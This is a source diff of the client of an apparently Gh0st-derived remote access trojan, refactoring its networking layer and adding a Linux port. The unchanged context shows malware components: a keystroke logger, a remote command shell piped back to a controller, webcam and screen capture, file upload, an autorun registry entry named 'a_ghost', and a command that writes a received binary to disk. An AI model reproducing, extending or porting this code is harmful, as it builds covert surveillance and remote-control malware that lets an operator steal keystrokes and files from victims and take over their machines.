diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index f350918..4079f32 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -8,9 +8,6 @@ #include #include - -using namespace std; - ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// diff --git a/client/Buffer.cpp b/client/Buffer.cpp index b5c63d3..fdc1889 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -1,4 +1,7 @@ +#ifdef _WIN32 #include "StdAfx.h" +#endif + #include "Buffer.h" #include @@ -18,7 +21,7 @@ CBuffer::~CBuffer(void) { if (m_Base) { - VirtualFree(m_Base, 0, MEM_RELEASE); + MVirtualFree(m_Base, 0, MEM_RELEASE); m_Base = NULL; } @@ -67,13 +70,13 @@ VOID CBuffer::DeAllocateBuffer(ULONG ulLength) { return; } - PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); if (NewBase == NULL) return; CopyMemory(NewBase,m_Base,len); - VirtualFree(m_Base,0,MEM_RELEASE); + MVirtualFree(m_Base,0,MEM_RELEASE); m_Base = NewBase; @@ -104,7 +107,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength) return TRUE; ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; - PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); if (NewBase == NULL) { return FALSE; @@ -115,7 +118,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength) if (m_Base) { - VirtualFree(m_Base,0,MEM_RELEASE); + MVirtualFree(m_Base,0,MEM_RELEASE); } m_Base = NewBase; m_Ptr = m_Base + len; diff --git a/client/Buffer.h b/client/Buffer.h index cd1517d..9ddece1 100644 --- a/client/Buffer.h +++ b/client/Buffer.h @@ -1,6 +1,6 @@ #pragma once -#include +#include "../common/commands.h" class CBuffer { diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index 15c569e..29929e4 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -8,7 +8,7 @@ ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CSampleGrabberCB mCB; +CSampleGrabberCB CCaptureVideo::mCB; CCaptureVideo::CCaptureVideo() { diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h index 44d8e87..14b36f2 100644 --- a/client/CaptureVideo.h +++ b/client/CaptureVideo.h @@ -199,8 +199,6 @@ public: } }; -extern CSampleGrabberCB mCB; - class CCaptureVideo { public: @@ -219,6 +217,7 @@ public: HWND m_hWnd; + static CSampleGrabberCB mCB; IGraphBuilder * m_pGB; //通过该值可以访问 FCDO Filter Control Device Object ICaptureGraphBuilder2* m_pCapture; //通过该值可以访问 真实CDO diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index ba50601..f68a97f 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -14,7 +14,6 @@ #include #include #include -using namespace std; // 自动启动注册表中的值 #define REG_NAME "a_ghost" @@ -308,7 +307,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz DWORD WINAPI StartClient(LPVOID lParam) { - IOCPClient *ClientObject = new IOCPClient(); + IOCPClient *ClientObject = new IOCPClient(g_bExit); g_bThreadExit = false; while (!g_bExit) @@ -322,7 +321,7 @@ DWORD WINAPI StartClient(LPVOID lParam) //准备第一波数据 SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType()); - CKernelManager Manager(ClientObject); + CKernelManager Manager(&g_SETTINGS, ClientObject, g_hInstance); bool bIsRun = 0; do { diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 3e85e6f..e554079 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -214,8 +214,6 @@ - - diff --git a/client/Common.cpp b/client/Common.cpp index 8b9695d..ce769ec 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -14,8 +14,6 @@ #include "KernelManager.h" -extern CONNECT_ADDRESS g_SETTINGS; - DWORD WINAPI ThreadProc(LPVOID lParam) { THREAD_ARG_LIST ThreadArgList = {0}; @@ -30,6 +28,7 @@ template DWORD WINAPI LoopManager(LPVOID lParam) { ThreadInfo *pInfo = (ThreadInfo *)lParam; IOCPClient *ClientObject = pInfo->p; + CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Manager m(ClientObject, n, pInfo->user); diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 2c0584a..699ed75 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -3,6 +3,7 @@ ////////////////////////////////////////////////////////////////////// #include "FileManager.h" +#include typedef struct { @@ -503,7 +504,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer) // 传送下一个文件 void CFileManager::UploadNext() { - list ::iterator it = m_UploadList.begin(); + std::list ::iterator it = m_UploadList.begin(); // 删除一个任务 m_UploadList.erase(it); // 还有上传任务 @@ -540,7 +541,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer) m_UploadList.push_back((char *)lpBuffer); } - list ::iterator it = m_UploadList.begin(); + std::list ::iterator it = m_UploadList.begin(); // 发送第一个文件 SendFileSize((*it).c_str()); diff --git a/client/FileManager.h b/client/FileManager.h index 4c18449..8abf139 100644 --- a/client/FileManager.h +++ b/client/FileManager.h @@ -12,7 +12,6 @@ typedef IOCPClient CClientSocket; #include #include "Manager.h" -using namespace std; #if _MSC_VER > 1000 #pragma once @@ -33,7 +32,7 @@ public: CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr); virtual ~CFileManager(); private: - list m_UploadList; + std::list m_UploadList; UINT m_nTransferMode; char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件 __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度 diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 9d93c7c..bd8b113 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -1,10 +1,22 @@ // IOCPClient.cpp: implementation of the IOCPClient class. // ////////////////////////////////////////////////////////////////////// - +#ifdef _WIN32 #include "stdafx.h" +#else +#include +#include +#include +#include +#include // For struct sockaddr_in +#include // For close() +#include // For memset() +inline int WSAGetLastError() { return -1; } +#define USING_COMPRESS 1 +#endif #include "IOCPClient.h" -#include +#include +#include #if USING_ZLIB #include "zlib/zlib.h" #define Z_FAILED(p) (Z_OK != (p)) @@ -36,26 +48,60 @@ #endif #endif #endif -#include -#include "Manager.h" - -using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -VOID IOCPClient::setManagerCallBack(CManager* Manager) +#ifndef _WIN32 +BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) { + // 启用 TCP 保活选项 + int enable = 1; + if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) { + std::cerr << "Failed to enable TCP keep-alive" << std::endl; + return FALSE; + } + + // 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包) + if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { + std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl; + return FALSE; + } + + // 设置 TCP_KEEPINTVL (5秒的重试间隔) + int keepAliveInterval = 5; // 5秒 + if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) { + std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl; + return FALSE; + } + + // 设置 TCP_KEEPCNT (最多5次探测包后认为连接断开) + int keepAliveProbes = 5; + if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) { + std::cerr << "Failed to set TCP_KEEPCNT" << std::endl; + return FALSE; + } + + std::cout << "TCP keep-alive settings applied successfully" << std::endl; + return TRUE; +} +#endif + +VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) { m_Manager = Manager; + + m_DataProcess = dataProcess; } -IOCPClient::IOCPClient(bool exit_while_disconnect) +IOCPClient::IOCPClient(BOOL &bExit, bool exit_while_disconnect) : g_bExit(bExit) { m_Manager = NULL; +#ifdef _WIN32 WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); +#endif m_sClientSocket = INVALID_SOCKET; m_hWorkThread = NULL; @@ -67,7 +113,6 @@ IOCPClient::IOCPClient(bool exit_while_disconnect) m_bIsRunning = TRUE; m_bConnected = FALSE; - InitializeCriticalSection(&m_cs); m_exit_while_disconnect = exit_while_disconnect; #if USING_CTX m_Cctx = ZSTD_createCCtx(); @@ -92,13 +137,13 @@ IOCPClient::~IOCPClient() m_hWorkThread = NULL; } +#ifdef _WIN32 WSACleanup(); +#endif while (S_RUN == m_bWorkThread) Sleep(10); - DeleteCriticalSection(&m_cs); - m_bWorkThread = S_END; #if USING_CTX ZSTD_freeCCtx(m_Cctx); @@ -107,8 +152,9 @@ IOCPClient::~IOCPClient() } // 从域名获取IP地址 -inline string GetIPAddress(const char *hostName) +inline std::string GetIPAddress(const char *hostName) { +#ifdef _WIN32 struct hostent *host = gethostbyname(hostName); #ifdef _DEBUG Mprintf("此域名的IP类型为: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6"); @@ -118,6 +164,27 @@ inline string GetIPAddress(const char *hostName) if (host == NULL || host->h_addr_list == NULL) return ""; return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; +#else + struct addrinfo hints, * res; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; // IPv4 + hints.ai_socktype = SOCK_STREAM; // TCP socket + + int status = getaddrinfo(hostName, nullptr, &hints, &res); + if (status != 0) { + std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl; + return ""; + } + + struct sockaddr_in* addr = reinterpret_cast(res->ai_addr); + char ip[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip)); + + std::cout << "IP Address: " << ip << std::endl; + + freeaddrinfo(res); // 不要忘记释放地址信息 + return ip; +#endif } BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) @@ -129,12 +196,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) return FALSE; } +#ifdef _WIN32 //构造sockaddr_in结构 也就是主控端的结构 sockaddr_in ServerAddr; ServerAddr.sin_family = AF_INET; //网络层 IP ServerAddr.sin_port = htons(uPort); // 若szServerIP非数字开头,则认为是域名,需进行IP转换 - string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9') + std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9') ? szServerIP : GetIPAddress(szServerIP); ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str()); @@ -147,12 +215,42 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) } return FALSE; } +#else + sockaddr_in ServerAddr = {}; + ServerAddr.sin_family = AF_INET; // 网络层 IP + ServerAddr.sin_port = htons(uPort); + std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9') + ? szServerIP : GetIPAddress(szServerIP); + + // 若szServerIP非数字开头,则认为是域名,需进行IP转换 + // 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6) + if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) { + std::cerr << "Invalid address or address not supported" << std::endl; + return false; + } + + // 创建套接字 + m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0); + if (m_sClientSocket == -1) { + std::cerr << "Failed to create socket" << std::endl; + return false; + } + + // 连接到服务器 + if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) { + std::cerr << "Connection failed" << std::endl; + close(m_sClientSocket); + m_sClientSocket = -1; // 标记套接字无效 + return false; + } +#endif const int chOpt = 1; // True // Set KeepAlive 开启保活机制, 防止服务端产生死连接 if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0) { +#ifdef _WIN32 // 设置超时详细信息 tcp_keepalive klive; klive.onoff = 1; // 启用保活 @@ -160,11 +258,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive), NULL, 0,(unsigned long *)&chOpt,0,NULL); +#else + // 设置保活选项 + SetKeepAliveOptions(m_sClientSocket); +#endif } if (m_hWorkThread == NULL){ +#ifdef _WIN32 m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL); m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; +#else + pthread_t id = 0; + m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this); +#endif } Mprintf("连接服务端成功.\n"); m_bConnected = TRUE; @@ -176,7 +283,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) IOCPClient* This = (IOCPClient*)lParam; char* szBuffer = new char[MAX_RECV_BUFFER]; fd_set fd; - const struct timeval tm = { 2, 0 }; + struct timeval tm = { 2, 0 }; while (This->IsRunning()) // 没有退出,就一直陷在这个循环中 { @@ -187,7 +294,11 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } FD_ZERO(&fd); FD_SET(This->m_sClientSocket, &fd); +#ifdef _WIN32 int iRet = select(NULL, &fd, NULL, NULL, &tm); +#else + int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm); +#endif if (iRet <= 0) { if (iRet == 0) Sleep(50); @@ -206,21 +317,13 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) szBuffer, MAX_RECV_BUFFER, 0); //接收主控端发来的数据 if (iReceivedLength <= 0) { - int a = GetLastError(); + int a = WSAGetLastError(); This->Disconnect(); //接收错误处理 if(This->m_exit_while_disconnect) break; }else{ //正确接收就调用OnRead处理,转到OnRead This->OnServerReceiving(szBuffer, iReceivedLength); - if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead) - { - Mprintf("****** Recv bye bye ******\n"); - // 不论是否退出客户端和主控端,都退出客户端 - extern BOOL g_bExit; - g_bExit = This->m_Manager->m_bIsDead; - break; - } } } } @@ -285,8 +388,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 - if (m_Manager) - m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0), + if (m_DataProcess) + m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0), m_DeCompressedBuffer.GetBufferLength()); } else{ diff --git a/client/IOCPClient.h b/client/IOCPClient.h index c6fff2e..1354ffb 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -9,17 +9,16 @@ #pragma once #endif // _MSC_VER > 1000 +#ifdef _WIN32 +#include "stdafx.h" #include -#include #include -#include "Buffer.h" -#include "Manager.h" - -#if USING_CTX -#include "zstd/zstd.h" +#pragma comment(lib,"ws2_32.lib") #endif -#pragma comment(lib,"ws2_32.lib") +#include "Buffer.h" +#include "common/commands.h" +#include "zstd/zstd.h" #define MAX_RECV_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*32 @@ -28,10 +27,41 @@ enum { S_STOP = 0, S_RUN, S_END }; +typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength); + +class IOCPManager { +public: + virtual ~IOCPManager() {} + virtual BOOL IsAlive() const { return TRUE; } + virtual BOOL IsReady() const { return TRUE; } + virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { } + + static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { + IOCPManager* m_Manager = (IOCPManager*)user; + if (nullptr == m_Manager) { + Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0])); + return FALSE; + } + // 等待子类准备就绪才能处理数据, 1秒足够了 + int i = 0; + for (; i < 1000 && !m_Manager->IsReady(); ++i) + Sleep(1); + if (!m_Manager->IsReady()) { + Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0])); + return FALSE; + } + if (i) { + Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0])); + } + m_Manager->OnReceive(szBuffer, ulLength); + return TRUE; + } +}; + class IOCPClient { public: - IOCPClient(bool exit_while_disconnect = false); + IOCPClient(BOOL& bExit, bool exit_while_disconnect = false); virtual ~IOCPClient(); SOCKET m_sClientSocket; CBuffer m_CompressedBuffer; @@ -41,9 +71,17 @@ public: ZSTD_CCtx* m_Cctx; // 压缩上下文 ZSTD_DCtx* m_Dctx; // 解压上下文 #endif + int SendLoginInfo(const LOGIN_INFOR& logInfo) { + LOGIN_INFOR tmp = logInfo; + int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR)); + + return iRet; + } BOOL ConnectServer(const char* szServerIP, unsigned short uPort); static DWORD WINAPI WorkThreadProc(LPVOID lParam); - + BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) { + return OnServerSending(szBuffer, ulOriginalLength); + } VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); @@ -62,15 +100,17 @@ public: char m_szPacketFlag[FLAG_LENGTH + 3]; - VOID setManagerCallBack(CManager* Manager); + VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess); VOID Disconnect(); VOID RunEventLoop(const BOOL &bCondition); bool IsConnected() const { return m_bConnected == TRUE; } public: - CManager* m_Manager; - CRITICAL_SECTION m_cs; + BOOL& g_bExit; // 全局状态量 + void* m_Manager; // 用户数据 + DataProcessCB m_DataProcess; // 处理用户数据 + bool m_exit_while_disconnect; }; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index ecf089d..e0167cd 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -13,7 +13,8 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject) +CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance) + : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject) { m_ulThreadCount = 0; } @@ -112,7 +113,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } } else if (!isExit){ - m_hThread[m_ulThreadCount].p = new IOCPClient(true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].conn = m_conn; } switch(szBuffer[0]) @@ -127,6 +129,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_TALK: { + m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; @@ -161,7 +164,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->OnServerSending((char*)&bToken, 1); - m_bIsDead = 1; + g_bExit = 1; OutputDebugStringA("======> Client exit \n"); break; } @@ -170,7 +173,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { BYTE bToken = SERVER_EXIT;// 主控端退出 m_ClientObject->OnServerSending((char*)&bToken, 1); - m_bIsDead = 2; + g_bExit = 2; OutputDebugStringA("======> Server exit \n"); break; } @@ -237,7 +240,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) ULONGLONG size=0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { - extern BOOL g_bExit; g_bExit = 3; } break; diff --git a/client/KernelManager.h b/client/KernelManager.h index bfd53b0..9298fbe 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -21,13 +21,16 @@ struct ThreadInfo HANDLE h; IOCPClient *p; void* user; - ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ } + CONNECT_ADDRESS* conn; + ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ } }; class CKernelManager : public CManager { public: - CKernelManager(IOCPClient* ClientObject); + CONNECT_ADDRESS* m_conn; + HINSTANCE m_hInstance; + CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance); virtual ~CKernelManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 132af52..b278a19 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -11,7 +11,6 @@ #include #include #include -using namespace std; #define FILE_PATH "\\MODIf.html" #define CAPTION_SIZE 1024 @@ -114,9 +113,9 @@ int CKeyboardManager1::sendOfflineRecord(DWORD dwRead) } -string GetKey(int Key) // 判断键盘按下什么键 +std::string GetKey(int Key) // 判断键盘按下什么键 { - string KeyString = ""; + std::string KeyString = ""; //判断符号输入 const int KeyPressMask=0x80000000; //键盘掩码常量 int iShift=GetKeyState(0x10); //判断Shift键状态 @@ -496,7 +495,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) } for(int i = 8; i <= 255; i++) { if((GetAsyncKeyState(i)&1) == 1) { - string TempString = GetKey (i); + std::string TempString = GetKey (i); lstrcat(KeyBuffer,TempString.c_str()); } } diff --git a/client/Manager.cpp b/client/Manager.cpp index 4857471..7cd0f06 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -121,11 +121,10 @@ BOOL SelectDesktop(TCHAR* name) // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CManager::CManager(IOCPClient* ClientObject) +CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit) { - m_bIsDead = false; m_ClientObject = ClientObject; - m_ClientObject->setManagerCallBack(this); + m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess); m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); } diff --git a/client/Manager.h b/client/Manager.h index 8a2a40e..952bb21 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -9,10 +9,8 @@ #pragma once #endif // _MSC_VER > 1000 -#include #include "..\common\commands.h" - -class IOCPClient; +#include "IOCPClient.h" typedef IOCPClient CClientSocket; @@ -23,10 +21,10 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD DWORD dwCreationFlags, // creation option LPDWORD lpThreadId, bool bInteractive = false); -class CManager +class CManager : public IOCPManager { public: - BOOL m_bIsDead; // 1-被控端退出 2-主控端退出 + BOOL &g_bExit; // 1-被控端退出 2-主控端退出 CManager(IOCPClient* ClientObject); virtual ~CManager(); diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp index 8c04d8f..62be6f9 100644 --- a/client/RegisterManager.cpp +++ b/client/RegisterManager.cpp @@ -6,7 +6,6 @@ #include "RegisterManager.h" #include "Common.h" #include -using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp index f24c9f3..6b01a9e 100644 --- a/client/RegisterOperation.cpp +++ b/client/RegisterOperation.cpp @@ -6,7 +6,6 @@ #include "RegisterOperation.h" #include "Common.h" #include -using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index e10d439..9c0f71e 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -12,7 +12,6 @@ #include #endif #include -using namespace std; #include "ScreenSpy.h" #include "ScreenCapturerDXGI.h" diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index 63701a9..1024893 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -6,18 +6,15 @@ #include "ShellManager.h" #include "Common.h" #include -using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -BOOL bStarting = TRUE; - CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { m_nCmdLength = 0; - bStarting = TRUE; + m_bStarting = TRUE; m_hThreadRead = NULL; m_hShellProcessHandle = NULL; //保存Cmd进程的进程句柄和主线程句柄 m_hShellThreadHandle = NULL; @@ -109,7 +106,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) char szBuffer[1024] = {0}; DWORD dwTotal = 0; CShellManager *This = (CShellManager*)lParam; - while (bStarting) + while (This->m_bStarting) { Sleep(100); //这里检测是否有数据 数据的大小是多少 @@ -160,7 +157,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength) CShellManager::~CShellManager() { - bStarting = FALSE; + m_bStarting = FALSE; TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程 TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程 diff --git a/client/ShellManager.h b/client/ShellManager.h index c9dbdec..7b57126 100644 --- a/client/ShellManager.h +++ b/client/ShellManager.h @@ -27,6 +27,7 @@ public: static DWORD WINAPI ReadPipeThread(LPVOID lParam); + BOOL m_bStarting; HANDLE m_hThreadRead; int m_nCmdLength; // 输入的命令长度 HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄 diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 01beebd..186aa96 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -6,7 +6,6 @@ #include "SystemManager.h" #include "Common.h" #include -using namespace std; #include #ifndef PSAPI_VERSION diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index a757b67..bc618d1 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -10,7 +10,7 @@ #include #pragma comment(lib, "WINMM.LIB") -using namespace std; + #define ID_TIMER_POP_WINDOW 1 #define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_CLOSE_WINDOW 3 @@ -20,18 +20,14 @@ using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -char g_Buffer[TALK_DLG_MAXLEN] = {0}; -UINT_PTR g_Event = 0; - -IOCPClient* g_IOCPClientObject = NULL; - -extern HINSTANCE g_hInstance; CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { - BYTE bToken = TOKEN_TALK_START; //包含头文件 Common.h + m_hInstance = HINSTANCE(user); + g_Event = 0; + memset(g_Buffer, 0, sizeof(g_Buffer)); + BYTE bToken = TOKEN_TALK_START; m_ClientObject->OnServerSending((char*)&bToken, 1); - g_IOCPClientObject = ClientObject; WaitForDialogOpen(); Mprintf("Talk 构造\n"); } @@ -55,8 +51,8 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer))); //创建一个DLG - DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG), - NULL,DialogProc); //SDK C MFC C++ + DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG), + NULL, DialogProc, (LPARAM)this); //SDK C MFC C++ break; } } @@ -65,11 +61,12 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { + static CTalkManager* This = nullptr; switch(uMsg) { case WM_TIMER: { - OnDlgTimer(hDlg); + if (This) This->OnDlgTimer(hDlg); break; } case WM_INITDIALOG: @@ -80,19 +77,19 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg, exStyle &= ~WS_EX_APPWINDOW; exStyle |= WS_EX_TOOLWINDOW; SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle); - - OnInitDialog(hDlg); + This = (CTalkManager*)lParam; + if(This) This->OnInitDialog(hDlg); break; } case WM_COMMAND: if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW); - BYTE bToken = TOKEN_TALKCMPLT; - g_IOCPClientObject->OnServerSending((char*)&bToken, 1); + BYTE bToken = TOKEN_TALKCMPLT; + if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1); EndDialog(hDlg, LOWORD(wParam)); return (INT_PTR)TRUE; - } + } break; } @@ -114,10 +111,10 @@ VOID CTalkManager::OnInitDialog(HWND hDlg) 